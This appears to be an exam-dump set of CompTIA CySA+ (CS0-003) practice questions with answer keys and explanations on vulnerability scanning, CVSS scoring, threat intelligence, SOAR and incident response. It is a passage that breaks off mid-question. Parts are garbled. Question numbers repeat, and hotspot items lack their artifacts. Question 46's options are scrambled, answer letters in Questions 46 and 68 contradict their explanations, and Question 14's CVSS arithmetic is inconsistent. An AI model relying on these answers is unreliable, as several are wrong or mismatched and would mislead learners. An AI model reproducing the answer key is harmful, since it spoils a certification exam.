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CompTIA
Exam Questions CS0-003
CompTIA CySA+ Certification Beta Exam

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NEW QUESTION 1
Several critical bugs were identified during a vulnerability scan. The SLA risk requirement is that all critical vulnerabilities should be patched within 24 hours. After
sending a notification to the asset owners, the patch cannot be deployed due to planned, routine system upgrades Which of the following is the best method to
remediate the bugs?

A. Reschedule the upgrade and deploy the patch

B. Request an exception to exclude the patch from installation
C. Update the risk register and request a change to the SLA
D. Notify the incident response team and rerun the vulnerability scan

Answer: C

Explanation:
When a patch cannot be deployed due to conflicting routine system upgrades, updating the risk register and requesting a change to the Service Level Agreement
(SLA) is a practical approach. It allows for re-evaluation of the risk and adjustment of the SLA to reflect the current situation.

NEW QUESTION 2
During a security test, a security analyst found a critical application with a buffer overflow vulnerability. Which of the following would be best to mitigate the
vulnerability at the application level?

A. Perform OS hardening.
B. Implement input validation.
C. Update third-party dependencies.
D. Configure address space layout randomization.

Answer: B

Explanation:
Implementing input validation is the best way to mitigate the buffer overflow vulnerability at the application level. Input validation is a technique that checks the data
entered by users or attackers against a set of rules or constraints, such as data type, length, format, or range. Input validation can prevent common web
application attacks such as SQL injection, cross-site scripting (XSS), or command injection, which exploit the lack of input validation to execute malicious code or
commands on the server or the client side. By validating the input before allowing submission, the web application can reject or sanitize any malicious or
unexpected input, and protect the application from being compromised12. References: How to detect, prevent, and mitigate buffer overflow attacks - Synopsys,
How to mitigate buffer overflow vulnerabilities | Infosec

NEW QUESTION 3
Which of the following best describes the importance of implementing TAXII as part of a threat intelligence program?

A. It provides a structured way to gain information about insider threats.

B. It proactively facilitates real-time information sharing between the public and private sectors.
C. It exchanges messages in the most cost-effective way and requires little maintenance once implemented.
D. It is a semi-automated solution to gather threat intellbgence about competitors in the same sector.

Answer: B

Explanation:
The correct answer is B. It proactively facilitates real-time information sharing between the public and private sectors.
TAXII, or Trusted Automated eXchange of Intelligence Information, is a standard protocol for sharing cyber threat intelligence in a standardized, automated, and
secure manner. TAXII defines how cyber threat information can be shared via services and message exchanges, such as discovery, collection management,
inbox, and poll. TAXII is designed to support STIX, or Structured Threat Information eXpression, which is a standardized language for describing cyber threat
information in a readable and consistent format. Together, STIX and TAXII form a framework for sharing and using threat intelligence, creating an open-source
platform that allows users to search through records containing attack vectors details such as malicious IP addresses, malware signatures, and threat actors123.
The importance of implementing TAXII as part of a threat intelligence program is that it proactively facilitates real-time information sharing between the public and
private sectors. By using TAXII, organizations can exchange cyber threat information with various entities, such as security vendors, government agencies,
industry associations, or trusted groups. TAXII enables different sharing models, such as hub and spoke, source/subscriber, or peer-to-peer, depending on the
needs and preferences of the information producers and consumers. TAXII also supports different levels of access control, encryption, and authentication to
ensure the security and privacy of the shared information123.
By implementing TAXII as part of a threat intelligence program, organizations can benefit from the following advantages:
? They can receive timely and relevant information about the latest threats and vulnerabilities that may affect their systems or networks.
? They can leverage the collective knowledge and experience of other organizations that have faced similar or related threats.
? They can improve their situational awareness and threat detection capabilities by correlating and analyzing the shared information.
? They can enhance their incident response and mitigation strategies by applying the best practices and recommendations from the shared information.
? They can contribute to the overall improvement of cyber security by sharing their own insights and feedback with other organizations123.
The other options are incorrect because they do not accurately describe the importance of implementing TAXII as part of a threat intelligence program.
Option A is incorrect because TAXII does not provide a structured way to gain information about insider threats. Insider threats are malicious activities conducted
by authorized users within an organization, such as employees, contractors, or partners. Insider threats can be detected by using various methods, such as user
behavior analysis, data loss prevention, or anomaly detection. However, TAXII is not designed to collect or share information about insider threats specifically.
TAXII is more focused on external threats that originate from outside sources, such as hackers, cybercriminals, or nation-states4.
Option C is incorrect because TAXII does not exchange messages in the most cost- effective way and requires little maintenance once implemented. TAXII is a
protocol that defines how messages are exchanged, but it does not specify the cost or maintenance of the exchange. The cost and maintenance of implementing
TAXII depend on various factors, such as the type and number of services used, the volume and frequency of data exchanged, the security and reliability
requirements of the exchange, and the availability and compatibility of existing tools and platforms. Implementing TAXII may require significant resources and
efforts from both the information producers and consumers to ensure its functionality and performance5.
Option D is incorrect because TAXII is not a semi-automated solution to gather threat intelligence about competitors in the same sector. TAXII is a fully automated
solution that enables the exchange of threat intelligence among various entities across different sectors. TAXII does not target or collect information about specific
competitors in the same sector. Rather, it aims to foster collaboration and cooperation among organizations that share common interests or goals in cyber security.
Moreover, gathering threat intelligence about competitors in the same sector may raise ethical and legal issues that are beyond the scope of TAXII.
References:
? 1 What is STIX/TAXII? | Cloudflare

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? 2 What Are STIX/TAXII Standards? - Anomali Resources

? 3 What is STIX and TAXII? - EclecticIQ
? 4 What Is an Insider Threat? Definition & Examples | Varonis
? 5 Implementing STIX/TAXII - GitHub Pages
? [6] Cyber Threat Intelligence: Ethical Hacking vs Unethical Hacking | Infosec

NEW QUESTION 4
The Chief Information Security Officer is directing a new program to reduce attack surface risks and threats as part of a zero trust approach. The IT security team
is required to come up with priorities for the program. Which of the following is the best priority based on common attack frameworks?

A. Reduce the administrator and privileged access accounts

B. Employ a network-based IDS
C. Conduct thorough incident response
D. Enable SSO to enterprise applications

Answer: A

Explanation:
The best priority based on common attack frameworks for a new program to reduce attack surface risks and threats as part of a zero trust approach is to reduce
the administrator and privileged access accounts. Administrator and privileged access accounts are accounts that have elevated permissions or capabilities to
perform sensitive or critical tasks on systems or networks, such as installing software, changing configurations, accessing data, or granting access. Reducing the
administrator and privileged access accounts can help minimize the attack surface, as it can limit the number of potential targets or entry points for attackers, as
well as reduce the impact or damage of an attack if an account is compromised.

NEW QUESTION 5
Which of the following would help to minimize human engagement and aid in process improvement in security operations?

A. OSSTMM
B. SIEM
C. SOAR
D. QVVASP

Answer: C

Explanation:
SOAR stands for security orchestration, automation, and response, which is a term that describes a set of tools, technologies, or platforms that can help
streamline, standardize, and automate security operations and incident response processes and tasks. SOAR can help minimize human engagement and aid in
process improvement in security operations by reducing manual work, human errors, response time, or complexity. SOAR can also help enhance collaboration,
coordination, efficiency, or effectiveness of security operations and incident response teams.

NEW QUESTION 6
The Chief Executive Officer (CEO) has notified that a confidential trade secret has been compromised. Which of the following communication plans should the
CEO initiate?

A. Alert department managers to speak privately with affected staff.

B. Schedule a press release to inform other service provider customers of the compromise.
C. Disclose to all affected parties in the Chief Operating Officer for discussion and resolution.
D. Verify legal notification requirements of PII and SPII in the legal and human resource departments.

Answer: A

Explanation:
The CEO should initiate an alert to department managers to speak privately with affected staff. This is because the trade secret is confidential and should not be
disclosed to the public. Additionally, the CEO should verify legal notification requirements of PII and SPII in the legal and human resource departments to ensure
compliance with data protection laws.
References: CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition, Chapter 4, “Data Protection and Privacy Practices”, page 194; CompTIA CySA+
Certification Exam Objectives Version 4.0, Domain 4.0 “Compliance and Assessment”, Objective 4.1 “Given a scenario, analyze data as part of a security
incident”, Sub-objective “Data classification levels”, page 23

NEW QUESTION 7
A cybersecurity analyst is reviewing SIEM logs and observes consistent requests originating from an internal host to a blocklisted external server. Which of the
following best describes the activity that is
taking place?

A. Data exfiltration
B. Rogue device
C. Scanning
D. Beaconing

Answer: D

Explanation:
Beaconing is the best term to describe the activity that is taking place, as it refers to the periodic communication between an infected host and a blocklisted
external server. Beaconing is a common technique used by malware to establish a connection with a command-and-control (C2) server, which can provide
instructions, updates, or exfiltration capabilities to the malware. Beaconing can vary in frequency, duration, and payload, depending on the type and sophistication
of the malware. The other terms are not as accurate as beaconing, as they describe different aspects of malicious activity. Data exfiltration is the unauthorized
transfer of data from a compromised system to an external destination, such as a C2 server or a cloud storage service. Data exfiltration can be a goal or a
consequence of malware infection, but it does not necessarily involve blocklisted servers or consistent requests. Rogue device is a device that is connected to a
network without authorization or proper security controls. Rogue devices can pose a security risk, as they can introduce malware, bypass firewalls, or access

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sensitive data. However, rogue devices are not necessarily infected with malware or communicating with blocklisted servers. Scanning is the process of probing a
network or a system for vulnerabilities, open ports, services, or other information. Scanning can be performed by legitimate administrators or malicious actors,
depending on the intent and authorization. Scanning does not imply consistent requests or blocklisted servers, as it can target any network or system.

NEW QUESTION 8
An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following
pieces of data should be collected first in order to preserve sensitive information before isolating the server?

A. Hard disk
B. Primary boot partition
C. Malicious tiles
D. Routing table
E. Static IP address

Answer: A

Explanation:
The hard disk is the piece of data that should be collected first in order to preserve sensitive information before isolating the server. The hard disk contains all the
files and data stored on the server, which may include evidence of malicious activity, such as malware installation, data exfiltration, or configuration changes. The
hard disk should be collected using proper forensic techniques, such as creating an image or a copy of the disk and maintaining its integrity using hashing
algorithms.

NEW QUESTION 9
A security analyst reviews the following Arachni scan results for a web application that stores PII data:

Which of the following should be remediated first?

A. SQL injection
B. RFI
C. XSS
D. Code injection

Answer: A

Explanation:
SQL injection should be remediated first, as it is a high-severity vulnerability that can allow an attacker to execute arbitrary SQL commands on the database server
and access, modify, or delete sensitive data, including PII. According to the Arachni scan results, there are two instances of SQL injection and three instances of
blind SQL injection (two timing attacks and one differential analysis) in the web application. These vulnerabilities indicate that the web application does not properly
validate or sanitize the user input before passing it to the database server, and thus exposes the database to malicious queries12. SQL injection can have serious
consequences for the confidentiality, integrity, and availability of the data and the system, and can also lead to further attacks, such as privilege escalation, data
exfiltration, or remote code execution34. Therefore, SQL injection should be the highest priority for remediation, and the web application should implement input
validation, parameterized queries, and least privilege principle to prevent SQL injection attacks5. References: Web application testing with Arachni | Infosec, How
do I create a generated scan report for PDF in Arachni Web …, Command line user interface · Arachni/arachni Wiki
· GitHub, SQL Injection - OWASP, Blind SQL Injection - OWASP, SQL Injection Attack: What is it, and how to prevent it., SQL Injection Cheat Sheet & Tutorial |
Veracode

NEW QUESTION 10
The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch
was released.
Which of the following would best protect this organization?

A. A mean time to remediate of 30 days

B. A mean time to detect of 45 days
C. A mean time to respond of 15 days
D. Third-party application testing

Answer: A

Explanation:
A mean time to remediate (MTTR) is a metric that measures how long it takes to fix a vulnerability after it is discovered. A MTTR of 30 days would best protect the

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organization from the new attacks that are exploited 45 days after a patch is released, as it would ensure that the vulnerabilities are fixed before they are exploited

NEW QUESTION 10
Which of the following items should be included in a vulnerability scan report? (Choose two.)

A. Lessons learned
B. Service-level agreement
C. Playbook
D. Affected hosts
E. Risk score
F. Education plan

Answer: DE

Explanation:
A vulnerability scan report should include information about the affected hosts, such as their IP addresses, hostnames, operating systems, and services. It should
also include a risk score for each vulnerability, which indicates the severity and potential impact of the vulnerability on the host and the organization. Official
References: https://www.first.org/cvss/

NEW QUESTION 14
A security analyst reviews the latest vulnerability scans and observes there are vulnerabilities with similar CVSSv3 scores but different base score metrics. Which
of the following attack vectors should the analyst remediate first?

A. CVSS 3.0/AVP/AC:L/PR:L/UI:N/S U/C:H/I:H/A:H

B. CVSS 3.0/AV:A/AC .L/PR:L/UI:N/S:U/C:H/I:H/A:H
C. CVSS 3.0/AV:N/AC:L/PR:L/UI:N/S;U/C:H/I:H/A:H
D. CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Answer: C

Explanation:
CVSS 3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H is the attack vector that the analyst should remediate first, as it has the highest CVSSv3 score of 8.1. CVSSv3
(Common Vulnerability Scoring System version 3) is a standard framework for rating the severity of vulnerabilities, based on various metrics that reflect the
characteristics and impact of the vulnerability. The CVSSv3 score is calculated from three groups of metrics: Base, Temporal, and Environmental. The Base
metrics are mandatory and reflect the intrinsic qualities of the vulnerability, such as how it can be exploited, what privileges are required, and what impact it has on
confidentiality, integrity, and availability. The Temporal metrics are optional and reflect the current state of the vulnerability, such as whether there is a known
exploit, a patch, or a workaround. The Environmental metrics are also optional and reflect the context of the vulnerability in a specific environment, such as how it
affects the asset value, security requirements, or mitigating controls. The Base metrics produce a score ranging from 0 to 10, which can then be modified by
scoring the Temporal and Environmental metrics. A CVSS score is also represented as a vector string, a compressed textual representation of the values used to
derive the score.
The attack vector in question has the following Base metrics:
? Attack Vector (AV): Network (N). This means that the vulnerability can be exploited remotely over a network connection.
? Attack Complexity (AC): Low (L). This means that the attack does not require any special conditions or changes to the configuration of the target system.
? Privileges Required (PR): Low (L). This means that the attacker needs some privileges on the target system to exploit the vulnerability, such as user-level
access.
? User Interaction (UI): None (N). This means that the attack does not require any user action or involvement to succeed.
? Scope (S): Unchanged (U). This means that the impact of the vulnerability is confined to the same security authority as the vulnerable component, such as an
application or an operating system.
? Confidentiality Impact ©: High (H). This means that the vulnerability results in a total loss of confidentiality, such as unauthorized disclosure of all data on the
system.
? Integrity Impact (I): High (H). This means that the vulnerability results in a total loss of integrity, such as unauthorized modification or deletion of all data on the
system.
? Availability Impact (A): High (H). This means that the vulnerability results in a total loss of availability, such as denial of service or system crash.
Using these metrics, we can calculate the Base score using this formula: Base Score = Roundup(Minimum[(Impact + Exploitability), 10])
Where:
Impact = 6.42 x [1 - ((1 - Confidentiality) x (1 - Integrity) x (1 - Availability))] Exploitability = 8.22 x Attack Vector x Attack Complexity x Privileges Required x User
Interaction
Using this formula, we get:
Impact = 6.42 x [1 - ((1 - 0.56) x (1 - 0.56) x (1 - 0.56))] = 5.9
Exploitability = 8.22 x 0.85 x 0.77 x 0.62 x 0.85 = 2.8
Base Score = Roundup(Minimum[(5.9 + 2.8), 10]) = Roundup(8.7) = 8.8
Therefore, this attack vector has a Base score of 8.8, which is higher than any other option. The other attack vectors have lower Base scores, as they have
different values for some of the Base metrics:
? CVSS:3.0/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.2, as it
has a lower value for Attack Vector (Physical), which means that the vulnerability can only be exploited by having physical access to the target system.
? CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 7.4, as it
has a lower value for Attack Vector (Adjacent Network), which means that the vulnerability can only be exploited by being on the same physical or logical network
as the target system.
? CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.8, as it has
a lower value for Attack Vector (Local), which means that the vulnerability can only be exploited by having local access to the target system, such as through a
terminal or a command shell.

NEW QUESTION 15
A security administrator has been notified by the IT operations department that some vulnerability reports contain an incomplete list of findings. Which of the
following methods should be used to resolve
this issue?

A. Credentialed scan
B. External scan
C. Differential scan

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D. Network scan

Answer: A

Explanation:
A credentialed scan is a type of vulnerability scan that uses valid credentials to log in to the scanned systems and perform a more thorough and accurate
assessment of their vulnerabilities. A credentialed scan can access more information than a non-credentialed scan, such as registry keys, patch levels,
configuration settings, and installed applications. A credentialed scan can also reduce the number of false positives and false negatives, as it can verify the actual
state of the system rather than relying on inference or assumptions. The other types of scans are not related to the issue of incomplete findings, as they refer to
different aspects of vulnerability scanning, such as the scope, location, or frequency of the scan. An external scan is a scan that is performed from outside the
network perimeter, usually from the internet. An external scan can reveal how an attacker would see the network and what vulnerabilities are exposed to the
public. An external scan cannot access internal systems or resources that are behind firewalls or other security controls. A differential scan is a scan that compares
the results of two scans and highlights the differences between them. A differential scan can help identify changes in the network environment, such as new
vulnerabilities, patched vulnerabilities, or new devices. A differential scan does not provide a complete list of findings by itself, but rather a summary of changes. A
network scan is a scan that focuses on the network layer of the OSI model and detects vulnerabilities related to network devices, protocols, services, and
configurations. A network scan can discover open ports, misconfigured firewalls, unencrypted traffic, and other network-related issues. A network scan does not
provide information about the application layer or the host layer of the OSI model, such as web applications or operating systems.

NEW QUESTION 16
HOTSPOT
A company recently experienced a security incident. The security team has determined
a user clicked on a link embedded in a phishing email that was sent to the entire company. The link resulted in a malware download, which was subsequently
installed and run.
INSTRUCTIONS
Part 1
Review the artifacts associated with the security incident. Identify the name of the malware, the malicious IP address, and the date and time when the malware
executable entered the organization.
Part 2
Review the kill chain items and select an appropriate control for each that would improve the security posture of the organization and would have helped to prevent
this incident from occurring. Each
control may only be used once, and not all controls will be used.

Firewall log:

File integrity Monitoring Report:

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Malware domain list:

Vulnerability Scan Report:

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Phishing Email:

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A. Mastered
B. Not Mastered

Answer: A

Explanation:

NEW QUESTION 18
A Chief Information Security Officer (CISO) is concerned that a specific threat actor who is known to target the company's business type may be able to breach the
network and remain inside of it for an extended period of time.
Which of the following techniques should be performed to meet the CISO's goals?

A. Vulnerability scanning
B. Adversary emulation
C. Passive discovery
D. Bug bounty

Answer: B

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Explanation:
The correct answer is B. Adversary emulation.
Adversary emulation is a technique that involves mimicking the tactics, techniques, and procedures (TTPs) of a specific threat actor or group to test the
effectiveness of the security controls and incident response capabilities of an organization1. Adversary emulation can help identify and address the gaps and
weaknesses in the security posture of an organization, as well as improve the readiness and skills of the security team. Adversary emulation can also help
measure the dwell time, which is the duration that a threat actor remains undetected inside the network2.
The other options are not the best techniques to meet the CISO’s goals. Vulnerability scanning (A) is a technique that involves scanning the network and systems
for known vulnerabilities, but it does not simulate a real attack or test the incident response capabilities. Passive discovery © is a technique that involves collecting
information about the network and systems without sending any packets or probes, but it does not identify or exploit any vulnerabilities or test the security controls.
Bug bounty (D) is a program that involves rewarding external researchers or hackers for finding and reporting vulnerabilities in an organization’s systems or
applications, but it does not focus on a specific threat actor or group.

NEW QUESTION 21
During an incident involving phishing, a security analyst needs to find the source of the malicious email. Which of the following techniques would provide the
analyst with this information?

A. Header analysis
B. Packet capture
C. SSL inspection
D. Reverse engineering

Answer: A

Explanation:
Header analysis is the technique of examining the metadata of an email, such as the sender, recipient, date, subject, and routing information. It can help to identify
the source of a malicious email by revealing the IP address and domain name of the originator, as well as any spoofing or redirection attempts. References:
CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 240; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 249.

NEW QUESTION 26
A security analyst is writing a shell script to identify IP addresses from the same country. Which of the following functions would help the analyst achieve the
objective?

A. function w() { info=$(ping -c 1 $1 | awk -F “/” ‘END{print $1}’) && echo “$1 | $info” }
B. function x() { info=$(geoiplookup $1) && echo “$1 | $info” }
C. function y() { info=$(dig -x $1 | grep PTR | tail -n 1 ) && echo “$1 | $info” }
D. function z() { info=$(traceroute -m 40 $1 | awk ‘END{print $1}’) && echo “$1 | $info” }

Answer: B

Explanation:
The function that would help the analyst identify IP addresses from the same country is:
function x() { info=$(geoiplookup $1) && echo “$1 | $info” }
This function takes an IP address as an argument and uses the geoiplookup command to get the geographic location information associated with the IP address,
such as the country name, country code, region, city, or latitude and longitude. The function then prints the IP address and the geographic location information,
which can help identify any IP addresses that belong to the same country.

NEW QUESTION 27
An analyst recommends that an EDR agent collect the source IP address, make a connection to the firewall, and create a policy to block the malicious source IP
address across the entire network automatically. Which of the following is the best option to help the analyst implement this recommendation?

A. SOAR
B. SIEM
C. SLA
D. IoC

Answer: A

Explanation:
SOAR (Security Orchestration, Automation, and Response) is the best option to help the analyst implement the recommendation, as it reflects the software
solution that enables security teams to integrate and coordinate separate tools into streamlined threat response workflows and automate repetitive tasks. SOAR is
a term coined by Gartner in 2015 to describe a technology that combines the functions of security incident response platforms, security orchestration and
automation platforms, and threat intelligence platforms in one offering. SOAR solutions help security teams to collect inputs from various sources, such as EDR
agents, firewalls, or SIEM systems, and perform analysis and triage using a combination of human and machine power. SOAR solutions also allow security teams
to define and execute incident response procedures in a digital workflow format, using automation to perform low-level tasks or actions, such as blocking an IP
address or quarantining a device. SOAR solutions can help security teams to improve efficiency, consistency, and scalability of their operations, as well as reduce
mean time to detect (MTTD) and mean time to respond (MTTR) to threats. The other options are not as suitable as SOAR, as they do not match the description or
purpose of the recommendation. SIEM (Security Information and Event Management) is a software solution that collects and analyzes data from various sources,
such as logs, events, or alerts, and provides security monitoring, threat detection, and incident response capabilities. SIEM solutions can help security teams to
gain visibility, correlation, and context of their security data, but they do not provide automation or orchestration features like SOAR solutions. SLA (Service Level
Agreement) is a document that defines the expectations and responsibilities between a service provider and a customer, such as the quality, availability, or
performance of the service. SLAs can help to manage customer expectations, formalize communication, and improve productivity and relationships, but they do
not help to implement technical recommendations like SOAR solutions. IoC (Indicator of Compromise) is a piece of data or evidence that suggests a system or
network has been compromised by a threat actor, such as an IP address, a file hash, or a registry key. IoCs can help to identify and analyze malicious activities or
incidents, but they do not help to implement response actions like SOAR solutions.

NEW QUESTION 30
Which of the following concepts is using an API to insert bulk access requests from a file into an identity management system an example of?

A. Command and control

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B. Data enrichment
C. Automation
D. Single sign-on

Answer: C

Explanation:
Automation is the best concept to describe the example, as it reflects the use of technology to perform tasks or processes without human intervention. Automation
can help to improve efficiency, accuracy, consistency, and scalability of various operations, such as identity and access management (IAM). IAM is a security
framework that enables organizations to manage the identities and access rights of users and devices across different systems and applications. IAM can help to
ensure that only authorized users and devices can access the appropriate resources at the appropriate time and for the appropriate purpose. IAM can involve
various tasks or processes, such as authentication, authorization, provisioning, deprovisioning, auditing, or reporting. Automation can help to simplify and
streamline these tasks or processes by using software tools or scripts that can execute predefined actions or workflows based on certain triggers or conditions. For
example, automation can help to create, update, or delete user accounts in bulk based on a file or a database, rather than manually entering or modifying each
account individually. The example in the question shows that an API is used to insert bulk access requests from a file into an identity management system. An API
(Application Programming Interface) is a set of rules or specifications that defines how different software components or systems can communicate and exchange
data with each other. An API can help to enable automation by providing a standardized and consistent way to access and manipulate data or functionality of a
software component or system. The example in the question shows that an API is used to automate the process of inserting bulk access requests from a file into
an identity management system, rather than manually entering each request one by one. The other options are not correct, as they describe different concepts or
techniques. Command and control is a term that refers to the ability of an attacker to remotely control a compromised system or device, such as using malware or
backdoors. Command and control is not related to what is described in the example. Data enrichment is a term that refers to the process of enhancing or
augmenting existing data with additional information from external sources, such as adding demographic or behavioral attributes to customer profiles. Data
enrichment is not related to what is described in the example. Single sign-on is a term that refers to an authentication method that allows users to access multiple
systems or applications with one set of credentials, such as using a single username and password for different websites or services. Single sign-on is not related
to what is described in the example.

NEW QUESTION 32
Which of the following should be updated after a lessons-learned review?

A. Disaster recovery plan

B. Business continuity plan
C. Tabletop exercise
D. Incident response plan

Answer: D

Explanation:
A lessons-learned review is a process of evaluating the effectiveness and efficiency of the incident response plan after an incident or an exercise. The purpose of
the review is to identify the strengths and weaknesses of the incident response plan, and to update it accordingly to improve the future performance and resilience
of the organization. Therefore, the incident response plan should be updated after a lessons-learned review. References: The answer was based on the NCSC
CAF guidance from the National Cyber Security Centre, which states: “You should use post-incident and post-exercise reviews to actively reduce the risks
associated with the same, or similar, incidents happening in future.
Lessons learned can inform any aspect of your cyber security, including: System configuration Security monitoring and reporting Investigation procedures
Containment/recovery strategies”

NEW QUESTION 37
A security analyst is performing vulnerability scans on the network. The analyst installs a scanner appliance, configures the subnets to scan, and begins the scan
of the network.
Which of the following would be missing from a scan performed with this configuration?

A. Operating system version

B. Registry key values
C. Open ports
D. IP address

Answer: B

Explanation:
Registry key values would be missing from a scan performed with this configuration, as the scanner appliance would not have access to the Windows Registry of
the scanned systems. The Windows Registry is a database that stores configuration settings and options for the operating system and installed applications. To
scan the Registry, the scanner would need to have credentials to log in to the systems and run a local agent or script. The other items would not be missing from
the scan, as they can be detected by the scanner appliance without credentials. Operating system version can be identified by analyzing service banners or
fingerprinting techniques. Open ports can be discovered by performing a port scan or sending probes to common ports. IP address can be obtained by resolving
the hostname or using network discovery tools. https://attack.mitre.org/techniques/T1112/

NEW QUESTION 41
An analyst discovers unusual outbound connections to an IP that was previously blocked at the web proxy and firewall. Upon further investigation, it appears that
the proxy and firewall rules that were in place were removed by a service account that is not recognized. Which of the following parts of the Cyber Kill Chain does
this describe?

A. Delivery
B. Command and control
C. Reconnaissance
D. Weaporization

Answer: B

Explanation:
The Command and Control stage of the Cyber Kill Chain describes the communication between the attacker and the compromised system. The attacker may use
this channel to send commands, receive data, or update malware. If the analyst discovers unusual outbound connections to an IP that was previously blocked, it

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may indicate that the attacker has established a command and control channel and bypassed the security controls. ReferencesC: yber Kill Chain® | Lockheed
Martin

NEW QUESTION 46
Which of the following security operations tasks are ideal for automation?

Create subfolders in the original folder based on category of graphics foun

Look for suspicious-looking graphics
B. Move the suspicious graphics to the appropriate subfolder in a folder.
A. Suspicious file analysis:
C. Firewall IoC block actions:Examine the firewall logs for IoCs from the most recently published zero-day exploit Take mitigating actions in the firewall to block the
behavior found in the logsFollow up on any false positives that were caused by the block rules
D. Security application user errors:Search the error logs for signs of users having trouble with the security application Look up the user's phone numberCall the
user to help with any questions about using the application
E. Email header analysis:Check the email header for a phishing confidence metric greater than or equal to five Add the domain of sender to the block listMove the
email to quarantine

Answer: D

Explanation:
Email header analysis is one of the security operations tasks that are ideal for automation. Email header analysis involves checking the email header for various
indicators of phishing or spamming attempts, such as sender address spoofing, mismatched domains, suspicious subject lines, or phishing confidence metrics.
Email header analysis can be automated using tools or scripts that can parse and analyze email headers and take appropriate actions based on predefined rules
or thresholds

NEW QUESTION 51
HOTSPOT
The developers recently deployed new code to three web servers. A daffy automated external device scan report shows server vulnerabilities that are failure items
according to PCI DSS.
If the venerability is not valid, the analyst must take the proper steps to get the scan clean. If the venerability is valid, the analyst must remediate the finding.
After reviewing the information provided in the network diagram, select the STEP 2 tab to
complete the simulation by selecting the correct Validation Result and Remediation Action for each server listed using the drop-down options.
INTRUCTIONS:
The simulation includes 2 steps.
Step1:Review the information provided in the network diagram and then move to the STEP 2 tab.

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STEP 2: Given the Scenario, determine which remediation action is required to address the vulnerability.

A. Mastered
B. Not Mastered

Answer: A

Explanation:

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NEW QUESTION 55
An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:

Which of the following tuning recommendations should the security analyst share?

A. Set an HttpOnlvflaq to force communication by HTTPS

B. Block requests without an X-Frame-Options header
C. Configure an Access-Control-Allow-Origin header to authorized domains
D. Disable the cross-origin resource sharing header

Answer: B

Explanation:
The output shows that the web application is vulnerable to clickjacking attacks, which allow an attacker to overlay a hidden frame on top of a legitimate page and
trick users into clicking on malicious links. Blocking requests without an X-Frame-Options header can prevent this attack by instructing the browser to not display
the page within a frame.

NEW QUESTION 59
Which of the following is the first step that should be performed when establishing a disaster recovery plan?

A. Agree on the goals and objectives of the plan

B. Determine the site to be used during a disasterC Demonstrate adherence to a standard disaster recovery process
C. Identity applications to be run during a disaster

Answer: A

Explanation:
The first step that should be performed when establishing a disaster recovery
plan is to agree on the goals and objectives of the plan. The goals and objectives of the plan should define what the plan aims to achieve, such as minimizing
downtime, restoring critical functions, ensuring data integrity, or meeting compliance requirements. The goals and objectives of the plan should also be aligned
with the business needs and priorities of the organization and be measurable and achievable.

NEW QUESTION 62
An analyst is becoming overwhelmed with the number of events that need to be investigated for a timeline. Which of the following should the analyst focus on in
order to move the incident forward?

A. Impact
B. Vulnerability score

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C. Mean time to detect

D. Isolation

Answer: A

Explanation:
The analyst should focus on the impact of the events in order to move the incident forward. Impact is the measure of the potential or actual damage caused by an
incident, such as data loss, financial loss, reputational damage, or regulatory penalties. Impact can help the analyst prioritize the events that need to be
investigated based on their severity and urgency, and allocate the appropriate resources and actions to contain and remediate them. Impact can also help the
analyst communicate the status and progress of the incident to the stakeholders and customers, and justify the decisions and recommendations made during the
incident response12. Vulnerability score, mean time to detect, and isolation are all important metrics or actions for incident response, but they are not the main
focus for moving the incident forward. Vulnerability score is the rating of the likelihood and severity of a vulnerability being exploited by a threat actor. Mean time to
detect is the average time it takes to discover an incident. Isolation is the process of disconnecting an affected system from the network to prevent further damage
or spread of the incident34 . References: Incident Response: Processes, Best Practices & Tools - Atlassian, Incident Response Metrics: What You Should Be
Measuring, Vulnerability Scanning Best Practices, How to Track Mean Time to Detect (MTTD) and Mean Time to Respond (MTTR) to Cybersecurity Incidents,
[Isolation and Quarantine for Incident Response]

NEW QUESTION 63
A security manager is looking at a third-party vulnerability metric (SMITTEN) to improve upon the company's current method that relies on CVSSv3. Given the
following:

Which of the following vulnerabilities should be prioritized?

A. Vulnerability 1
B. Vulnerability 2
C. Vulnerability 3
D. Vulnerability 4

Answer: B

Explanation:
Vulnerability 2 should be prioritized as it is exploitable, has high exploit activity, and is exposed externally according to the SMITTEN metric. References:
Vulnerability Management Metrics: 5 Metrics to Start Measuring in Your Program, Section: Vulnerability Severity.

NEW QUESTION 64
Exploit code for a recently disclosed critical software vulnerability was publicly available (or download for several days before being removed. Which of the
following CVSS v.3.1 temporal metrics was most impacted by this exposure?

A. Remediation level
B. Exploit code maturity
C. Report confidence
D. Availability

Answer: B

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Explanation:
Exploit code maturity in the CVSS v.3.1 temporal metrics refers to the reliability and availability of exploit code for a vulnerability. Public availability of exploit code
increases the exploit code maturity score.
The availability of exploit code affects the 'Exploit Code Maturity' metric in CVSS v.3.1. This metric evaluates the level of maturity of the exploit that targets the
vulnerability. When exploit code is readily available, it suggests a higher level of maturity, indicating that the
exploit is more reliable and easier to use.

NEW QUESTION 68
A systems analyst is limiting user access to system configuration keys and values in a Windows environment. Which of the following describes where the analyst
can find these configuration items?

A. confi
B. ini
C. ntds.dit
D. Master boot record
E. Registry

Answer: D

Explanation:
The correct answer is D. Registry.
The registry is a database that stores system configuration keys and values in a Windows environment. The registry contains information about the hardware,
software, users, and preferences of the system. The registry can be accessed and modified using the Registry Editor tool (regedit.exe) or the command-line tool
(reg.exe). The registry is organized into five main sections, called hives, which are further divided into subkeys and values.
The other options are not the best descriptions of where the analyst can find system configuration keys and values in a Windows environment. config.ini (A) is a file
that stores configuration settings for some applications, but it is not a database that stores system configuration keys and values. ntds.dit (B) is a file that stores the
Active Directory data for a domain controller, but it is not a database that stores system configuration keys and values. Master boot record © is a section of the
hard disk that contains information about the partitions and the boot loader, but it is not a database that stores system configuration keys and values.

NEW QUESTION 69
Which of following would best mitigate the effects of a new ransomware attack that was not properly stopped by the company antivirus?

A. Install a firewall.
B. Implement vulnerability management.
